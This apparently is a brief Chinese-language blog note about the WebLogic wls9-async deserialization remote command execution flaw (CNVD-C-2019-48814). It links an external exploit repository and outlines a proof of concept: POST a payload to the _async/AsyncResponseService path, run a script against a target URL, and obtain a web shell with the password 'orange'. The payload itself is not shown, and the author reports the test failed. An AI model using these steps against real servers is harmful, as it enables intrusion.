CNVD-C-2019-48814

WebLogic wls9-async反序列化远程命令执行漏洞

网上均有详细的说明（https://github.com/jas502n/CNVD-C-2019-48814）

利用payload 写个 POC 。

利用：url+_async/AsyncResponseService ，判断状态，POST payload  判断是否成功get shell 。

    url =str(sys.argv[1])
    path ="/_async/AsyncResponseService"

攻击：

python CNVD-C-2019-48814.py http://111.111.111.111:7001/

攻击成功之后，可以获得一个shell GET 密码是orange 

 

测试失败。
